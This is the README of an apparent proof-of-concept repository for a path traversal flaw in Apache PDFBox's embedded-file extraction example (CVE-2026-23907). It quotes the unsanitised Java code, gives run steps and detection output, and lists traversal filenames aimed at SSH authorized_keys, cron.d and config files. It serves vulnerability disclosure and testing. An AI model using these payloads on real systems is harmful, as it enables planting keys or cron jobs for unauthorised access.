joakimbulow/cve-2026-23907Proof-of-concept exploit for Apache PDFBox path traversal vulnerability (CVE-2026-23907), demonstrating arbitrary file write via malicious PDFs with embedded files.
Apache PDFBox's ExtractEmbeddedFiles example code does not sanitize filenames when extracting embedded files from PDFs. An attacker can embed files with path traversal sequences (../) to write files to arbitrary filesystem locations.
File: pdfbox/examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java
private static void extractFile(String filePath, String filename, PDEmbeddedFile embeddedFile)
throws IOException
{
String embeddedFilename = filePath + filename; // NO SANITIZATION
File file = new File(embeddedFilename);
File parentDir = file.getParentFile();
if (!parentDir.exists())
{
parentDir.mkdirs(); // Creates arbitrary directories
}
try (FileOutputStream fos = new FileOutputStream(file))
{
fos.write(embeddedFile.toByteArray()); // Writes to arbitrary location
}
}
The filename parameter comes directly from the PDF without validation.
SSH Key Injection
../../.ssh/authorized_keysCron Job Injection
../../../etc/cron.d/maliciousConfiguration Overwrite
../../config/database.ymlcreate_malicious_pdf.py - Generates malicious PDF with path traversalTestPathTraversal.java - Demonstrates the vulnerabilitytest_path_traversal.sh - Automated test scriptmalicious_path_traversal.pdf - Pre-generated malicious PDF./test_path_traversal.sh
# 1. Generate malicious PDF
python3 create_malicious_pdf.py
# 2. Compile test (requires PDFBox JAR)
javac -cp pdfbox-app.jar TestPathTraversal.java
# 3. Run test
java -cp .:pdfbox-app.jar TestPathTraversal malicious_path_traversal.pdf
# 4. Verify path traversal
cat /tmp/path_traversal_poc
PATH TRAVERSAL DETECTED!
Expected path prefix: /current/working/directory
Actual path: /tmp/path_traversal_poc
ExtractEmbeddedFiles.java example codePDComplexFileSpecification.getFilename() without sanitization